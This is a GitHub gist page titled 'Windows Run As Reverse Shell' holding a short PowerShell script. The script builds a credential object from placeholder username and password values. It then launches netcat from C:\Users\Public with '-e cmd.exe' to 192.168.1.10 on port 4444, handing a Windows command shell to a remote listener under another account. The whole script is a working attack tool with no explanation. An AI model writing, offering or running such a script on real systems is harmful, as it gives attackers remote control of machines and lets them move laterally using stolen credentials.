Created
April 11, 2019 13:48
-
-
Save int0x33/eb358632a13bcd1e017a14c0fb00a52b to your computer and use it in GitHub Desktop.
Windows Run As Reverse Shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$username = '<username here>' | |
$password = '<password here>' | |
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force | |
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword | |
Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment